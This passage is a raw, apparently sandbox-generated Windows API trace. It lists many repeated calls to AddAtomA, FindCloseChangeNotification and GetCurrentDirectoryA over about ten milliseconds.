AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.449] AddAtomA (lpString=0x0) returned 0x0 [0052.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.450] AddAtomA (lpString=0x0) returned 0x0 [0052.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.451] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.451] AddAtomA (lpString=0x0) returned 0x0 [0052.451] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.452] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.452] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.452] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.453] AddAtomA (lpString=0x0) returned 0x0 [0052.453] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.453] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.454] AddAtomA (lpString=0x0) returned 0x0 [0052.454] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.454] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.455] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.455] AddAtomA (lpString=0x0) returned 0x0 [0052.455] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.456] AddAtomA (lpString=0x0) returned 0x0 [0052.456] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.456] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.457] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.457] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.457] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.458] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.458] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.458] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 